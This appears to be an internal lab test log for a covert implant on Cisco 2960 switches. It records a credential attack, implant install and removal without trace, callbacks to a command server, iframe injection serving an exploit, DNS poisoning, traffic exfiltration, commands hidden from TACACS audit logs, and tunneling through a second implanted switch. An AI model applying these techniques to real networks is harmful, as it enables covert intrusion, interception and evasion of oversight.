Owner: User #71467

Aquaman-5h HG 3.3.1 - Full Test

Aquaman-5h HG 3.3.1 - Full Test

Xetrron delivered Aquaman-5h HG 3.3.1 with a fix to EAREnterprise Archive 5244 (snooping causing err-disable).  Plan is to perform a full test of this Aquaman delivery.

Testing Summary

Need to compare files from CIConcern Profile tests

Progress/Notes

4/16/15

1. Collect Baseline information for use in later comparisons
   1. Deleted all previous crashinfo files from flash card of Target Device
   2. Reloaded Target Device
   3. Collected baseline files with output of show tech, dir all, show mem and CPU, show log
      1. Used memory - 26975916 (b)
      2. CPU - 5%/0%; one minute: 6%; five minutes: 6%
   4. Ran RANCID - collected version 1.6
2. Install/Uninstall HG without leave behind
   1. SSHIAC attack - ./sshiac --ip 172.31.255.14:22 --l cisco:cisco password
      1. LG EC-125 DHDiffie-Hellman encryption EC-60 EC-159 M - these codes are acceptable per readme
      2. Observed CPU during attack: 46% highest spike
      3. Used memory after SSHIAC attack - 26966496 (b)
   2. Install HG
      1. Left the interpacket delay at 1s (not directed to change it in readme, and I'm following the readme)
      2. hg_start - result success - Result: 0x00000001
      3. Observed CPU during install: 19% highest CPU spike
      4. Used memory after HG install - 29893996 (b)
      5. no commands from attack or install observed in show history
   3. Establish HG Comms
      1. Edited aquaman-5h.txt file - replaced <INT> with eth0 and <IP TO TRIGGER> with 192.168.21.10
      2. Ran prep-ct.sh
      3. Established CTCounter Terrorism session - Observed 19% spike during SSLSecure Socket Layer handshake
         1. beacon call_base_back https 172.20.12.22 443
      4. Used memory after CTCounter Terrorism session - 29863488 (b)
      5. Hit tab twice:
         

         [192.168.21.10]>
         aliases ca collect device encryption https mitm packet redir tun
         beachhead capability communication dns file ilm mode process scramble verbosity
         beacon cmd compression ebroker filesystem memory module quit socket web

         1. 1. 1. Capability	Module	Installed?
                  SMITE (iframe injection)	FilterBroker	Yes
                  Scavenger (Packet Collector)
                  Beacon
                  Ramjet (Data Collector)	DataCollection	No
                  Thundercracker (automated exfil)
                  Mixmaster (packet scrambler)
                  ACE (command execution)	ACE	Yes
                  Drillbit (covert tunnel)	Tunnel	Yes
                  DNS Check-in
                  Scrapper (redirector)
                  DIVRT (dns poison)	FilterBroker	Yes
                  Snooping		Yes
                  Trigger		Yes
                  ARP Survey (socket)		Yes

      6. HG Base version 3.3.1
   4. Uninstall HG
      1. device uninstall_hg -mp -f
      2. no syslog messages generated
      3. Used memory after uninstall 26954800 (b)
      4. Observed CPU during uninstall - 12%
      5. Output from show proc cpu history - shows slightly lower peak CPU for one minute with HG installed (7-8% with HG vs 9-11% without HG)

      6. After uninstall - CPU utilization for five seconds: 5%/0%; one minute: 6%; five minutes: 6%4/17/15

3. Install/Uninstall HG with leave behind

   1. Reloaded to start with a clean Target Device
   2. SSHIAC attacked successfully
   3. Installed hg with leave behind
   4. No syslogs, cpu and mem as expected, nothing alerting in show history
   5. Establish HG comms - success, no alerting events
   6. Uninstall HG
      1. device uninstall_hg -f
      2. After uninstall, was able to successfully communicate with remote - broad
   7. Reinstall HG
   8. hg_start_leave_behind - success
      1. Established comms
   9. device uninstall_hg -mp -f

4. Basic command and control

   1. module show - modules running
   2. module stop Trigger - success
   3. module start Trigger.mod - success
   4. ilm refresh - success
   5. module show - success - Trigger module running

5. Hit tab key to verify output of available commands

   1. mitm present, collect present - refer to table in 2c for complete listing
   2. dns show, web show, https show - snoop enabled for all three
   3. dns get_snooped_host_list_client 0 100 - seeds host in snooped list

6. Boundary Test

   1. Run through list in HG Base Smoke Test Procedure - all failed gracefully

7. CI Profile

   1. Collect output for comparison before install, with hg and after uninstall of hg- collected output in new files, will compare to previous test output
   2. Added to Rancid and ran once with HG, then uninstalled hg, reloaded switch, and ran rancid again to compare
   3. RANCID - ran with HG installed - no change to config, still on version 1.6
   4. RANCID - ran after uninstall - no change, still on version 1.6

8. Test Fix for EAREnterprise Archive 5244 - err-disable condition

   1. Reloaded to start with a clean Target Device
   2. SSHIAC and HG install
   3. Verify Seeds Traffic running and verify no CTCounter Terrorism session with HG
   4. Perform 10x service network restarts on Seeds VM
   5. Establish CTCounter Terrorism session
   6. Perform 10x service network restarts on Seeds VM
   7. No err-disable condition observed

9. SMITE Smoke Test - following documented HG 3.3.0 SMITE Capability Smoke Test Procedure

   1. Start with a clean, reloaded 2960-S
   2. SSHIAC attack and HG install
   3. Established CTCounter Terrorism session
   4. Completed module control test - stop, start - did not complete module delete and reload test
   5. Did not test module persistence
   6. Created SMITE rule - mitm create http_iframe 192.168.21.10 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
   7. Iframe is injected into web page, viewed in source URL
   8. Able to attach in Windex and view secrets.txt
   9. Deleted mitm rule - iframe no longer injected

10. Smoke Test - socket get_arp_survey_data

    1. Reload switch to start with a clean Target Device
    2. SSHIAC attack and install HG
    3. Establish CTCounter Terrorism session
       
    4. type socket get_arp_survey_data:
       

       [192.168.21.10]> socket get_arp_survey_data
       [Success]
       Vlan: 1
       Sender Protocol Address Sender Hardware Address Target Protocol Address Time Last Updated
       192.168.21.10 00:50:56:88:25:6d 192.168.21.1 2015-04-17T11:59:48Z
       192.168.21.1 00:11:bb:89:21:c4 172.31.255.1 2015-04-17T11:59:07Z
       192.168.21.10 00:50:56:88:25:6d 192.168.21.10 2015-04-17T11:39:58Z
       0.0.0.0 00:50:56:88:25:6d 192.168.21.10 2015-04-17T11:39:52Z

    5. socket get_arp_responder_status shows ARPAddress Resolution Protocol responder enabled Yes
    6. socket clear_arp_survey_data
    7. Checked socket get_arp_survey_data again and only 1 entry now, all re-appeared after service network restart on seeds
11. Smoke Test - Collect Capability
    1. Establish CTCounter Terrorism Session with HG
    2. Collect create 192.168.21.10 255.255.255.0 0 65535 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 0 65535 tcp -en
    3. This rule captures Seed traffic
    4. In Listen window, observed "collect success received collected data" messages with job numbers
    5. Collect status showed active sessions and captured sessions
    6. Typed collect disable 8 to disable the collection rule
    7. Collect status showed 0 bytes buffered
    8. Viewed collected data in /Logs by converting to PCAPPacket capture format with ExfilParsh.sh - saw our seeds data

12. Smoke Test - ACEApplication Control Engine (Module) Capability

1. Set up for test - configured Target Device for use with AAASecurity Server from Cisco Server
2. Verified that Target Device is logging commands to AAASecurity Server from Cisco server log - /var/log/tac_plus.acct
3. Established CTCounter Terrorism session with HG
4. In trigger window, ran "capability show" which confirms ACEApplication Control Engine (Module) v24 is installed.
5. In trigger window, ran "module show" which confirms the same as above and that the module is "running".
6. In trigger window, issued "module restart default:ACE.mod" and received error stating that it was an invalid module name despite it being what showed in the previous output.
7. In trigger window, issued "module stop default:ACE.mod" and received the same error above.

8. Previously configured TACACS+ server

9. Configured the 2960S target as follows for AAA:

   1. aaa new-model 

   2. ! 

   3. ! 

   4. aaa authentication password-prompt Password: 

   5. aaa authentication username-prompt Login: 

   6. aaa authentication login default local 

   7. aaa authentication enable default enable 

   8. aaa authorization exec default local 

   9. aaa accounting exec default none

      aaa accounting commands 0 default start-stop group tacacs+
      aaa accounting commands 1 default start-stop group tacacs+
      aaa accounting commands 2 default start-stop group tacacs+
      aaa accounting commands 3 default start-stop group tacacs+
      aaa accounting commands 4 default start-stop group tacacs+
      aaa accounting commands 5 default start-stop group tacacs+
      aaa accounting commands 6 default start-stop group tacacs+
      aaa accounting commands 7 default start-stop group tacacs+
      aaa accounting commands 8 default start-stop group tacacs+
      aaa accounting commands 9 default start-stop group tacacs+
      aaa accounting commands 10 default start-stop group tacacs+
      aaa accounting commands 11 default start-stop group tacacs+
      aaa accounting commands 12 default start-stop group tacacs+
      aaa accounting commands 13 default start-stop group tacacs+
      aaa accounting commands 14 default start-stop group tacacs+
      aaa accounting commands 15 default start-stop group tacacs+

   10. tacacs-server host 10.9.8.25

   11. tacacs-server directed-request

10. On tacacs server run: #tail -f /var/log/tac_plus.acct

11. ssh to target 2960S: ssh -l root 172.31.255.14  [password=password]

    1. tacacs console shows login via ssh with other associate information
12. Run various show commands via ssh session and confirm they show in the tacacs log as expected. [sh run, sh ver, sh clock, sh ip int br, sh int status, sh flash, sh users all]
13. Cleared log file on tacacs and set up new tail of log file: #tail -f /var/log/tac_plus.acct
14. From HG trigger window, run similar show commands as above and confirm they do NOT/NOT showing on tacacs log:
    1. HG trigger> cmd exec "show run"
    2. HG trigger> cmd exec "sh config"
    3. HG trigger> cmd exec "sh vlan"
    4. HG trigger> cmd exec "sh user"
    5. HG trigger> cmd exec "dir flash"
    6. HG trigger> cmd exec "sh clock"
    7. Enter a native command that requires a series of commands:
    8. HG trigger> cmd exec "sh ip int br"
    9. HG trigger> cmd exec "sh configuration id"
    10. HG trigger> cmd exec "sh dhcp server"
    11. HG trigger> cmd exec "sh int switch"
    12. HG trigger> cmd exec "sh int counters"
    13. HG trigger> cmd exec "sh int counters errors"
    14. HG trigger> cmd exec "sh int accounting"
    15. HG trigger> cmd exec "sh int irb"
    16. HG trigger> cmd exec "sh int mtu module 1"
    17. HG trigger> cmd exec "traceroute 1.1.1.1"  = success, with traceroute output
    18. HG trigger> cmd exec "ping 1.1.1.1" = success with round trip statistics
    19. HG trigger> cmd exec "traceroute 3.3.3.3" = successful in that output shows to a destination that cannot be reached
    20. HG trigger> cmd exec "ping 3.3.3.3" = successful in that out put of 0 replies is received
    21. Execute invalid commands and verify they fail gracefully:
    22. HG trigger> cmd exec "show test"
    23. HG trigger> cmd exec "sh home"
    24. HG trigger> cmd exec "traceroute 3.3.3.3"
15. ssh back to target 2960S and confirm that Tacacs logs the connection. Run "sh history" and verify no commands executed via HG show.
16. Load JQJThresher test on the IXIA which will run 85mbps of throughput through the test network that has 100mb link connecting the 3750G core and the 2960S for 10 minutes.
    1. During the IXIA throughput test, execute the "show" and other commands previously listed
       1. All commands completed successfully. No output on Tacacs log or Show History on device.

13. Smoke test and functional Tunnel/Drillbit/Dualer capability

    1. Trigger and Callback through a HG Tunnel running Aquaman-3h on 2960(non S)
       1. Confirmed 2960#1 running 12.2(50)SE5
       2. Implanted 2960#1 with Aquaman-3h delivery of HG
       3. Edited "target alianses" file with 192.168.0.101 target and procid = 0x10413440
       4. Edited "aquaman3h-txt to include proper trigger address of 192.168.44.39
       5. Established comms with Aquaman-3h from ICON-CT on port 443
          1. ilm listen aquman-3h.txt (in listen window - listening on 443)
          2. beacon call_me_back https 443 -ii 192.168.44.39 (in trigger window)
          3. Successful SSLSecure Socket Layer handshake and established comms.
       6. Disabled setting in Aquaman-3h HG tunnel which will disable the tunnel if the tap IP becomes active
          1. Edit hg/config/tunnel.ini and change DetectTAPSrcTraffic=Yes to No
          2. From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg and note output and DetectTAPSrcTraffic = Yes
          3. From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg tunnel.ini and note in the output that DetectTAPSrcTraffic has been changed to No
          4. From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg and note output and DetectTAPSrcTraffic = No
          5. From Aquaman-3h CutThroat (Listen window), type file put cfs/000000004B8FAF63.cfg default:000000004B8FAF63.cfg in order to load the new setting up to HG
          6. From Aquaman-3h CutThroat (Listen window), type module restart default:CovertTunnel.mod to restart the module
             1. This did not work initially and Xetron is aware of this problem.  To fix, try restarting again, and run ilm refresh.
       7. Establish Dualor tunnel with tap IP 192.168.0.110
          1. From Aquaman-5h /hg/tools/dualor/linux, run ./Dualor .../configs/dualor-endpoint.ini and note that you get a message that CTCounter Terrorism is listening on port 444
          2. From Aquaman-3h CutThroat (Listen Window), run tun init tools/dualor/config/dualor-callback.ini and note that the SSLSecure Socket Layer session establishes
          3. Note that on ICON-CT VMVirtual Machine you know have a new interface called tap0 with an iP 192.168.0.110
       8. Add a route to ICON-CT for 192.168.21.0/24 to use tap0 interface - route add -net 192.168.21.0/24 dev tap0
       9. Move to Aquaman-5h setup - Edit aquaman-5h.txt Interface value under general settings to tap0, and set CommsH port to 445
       10. Establish HG comms using "beacon call_base_back https 192.168.0.110 445"
       11. Comms successfully established through Aquaman-3h tunnel
       12. Configured mitm rule for SMITE as in tests above and successfully exploited Victim VMVirtual Machine and read secrets.txt from Windex